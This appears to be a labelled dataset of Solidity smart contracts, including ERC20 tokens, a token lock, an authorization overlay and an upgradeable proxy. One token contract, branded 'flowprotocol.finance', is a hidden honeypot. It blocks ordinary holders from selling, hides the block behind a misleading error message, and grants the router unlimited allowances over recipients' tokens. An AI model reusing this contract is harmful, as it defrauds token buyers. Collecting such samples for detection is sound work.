* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
| True | [
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|
// --------------------------Official website : flowprotocol.finance--------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _MYToken(address from, address to, uint256 amount) internal virtual { }
} | True | [
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|
pragma solidity 0.6.7;
contract GebAuth {
// --- Authorization ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "GebAuth/account-not-authorized");
_;
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
constructor () public {
authorizedAccounts[msg.sender] = 1;
emit AddAuthorization(msg.sender);
}
}
abstract contract LiquidationEngineLike {
function connectSAFESaviour(address) virtual external;
function disconnectSAFESaviour(address) virtual external;
}
contract MinimalLiquidationEngineOverlay is GebAuth {
LiquidationEngineLike public liquidationEngine;
constructor(address liquidationEngine_) public GebAuth() {
require(liquidationEngine_ != address(0), "MinimalLiquidationEngineOverlay/null-address");
liquidationEngine = LiquidationEngineLike(liquidationEngine_);
}
/*
* @notify Connect a new safe saviour to the LiquidationEngine
* @param saviour The new saviour address
*/
function connectSAFESaviour(address saviour) external isAuthorized {
liquidationEngine.connectSAFESaviour(saviour);
}
/*
* @notify Disconnect an existing safe saviour from the LiquidationEngine
* @param saviour The saviour address to disconnect
*/
function disconnectSAFESaviour(address saviour) external isAuthorized {
liquidationEngine.disconnectSAFESaviour(saviour);
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29376000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xBeE4b975F70d3fE4180809Bd345A194D32140a07;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
contract ArcProxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
/* solium-disable-next-line */
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
/* solium-disable-next-line */
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
)
public
payable
{
assert(
IMPLEMENTATION_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.implementation")) - 1
)
);
_setImplementation(_logic);
if (_data.length > 0) {
/* solium-disable-next-line */
(bool success,) = _logic.delegatecall(_data);
/* solium-disable-next-line */
require(success);
}
assert(
ADMIN_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.admin")) - 1
)
);
_setAdmin(_admin);
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () external payable {
_fallback();
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
/* solium-disable-next-line */
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
/* solium-disable-next-line */
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
/* solium-disable-next-line */
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
/* solium-disable-next-line */
assembly {
sstore(slot, newImplementation)
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(
address newImplementation,
bytes calldata data
)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
/* solium-disable-next-line */
(bool success,) = newImplementation.delegatecall(data);
/* solium-disable-next-line */
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
/* solium-disable-next-line */
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
/* solium-disable-next-line */
assembly {
sstore(slot, newAdmin)
}
}
}
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|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _burner, uint256 _value) internal {
require(_value <= balances[_burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_burner] = balances[_burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(_burner, _value);
